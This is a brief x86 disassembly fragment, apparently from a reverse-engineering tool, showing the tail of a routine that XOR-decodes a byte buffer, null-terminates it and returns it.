jle 0x411a80
call fcn.00402bd5
xor al, byte [edi + esi + 5]
mov byte [edi + esi], al
inc edi
cmp edi, ebx
jl 0x411a6f
mov byte [edi + esi], 0
mov eax, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret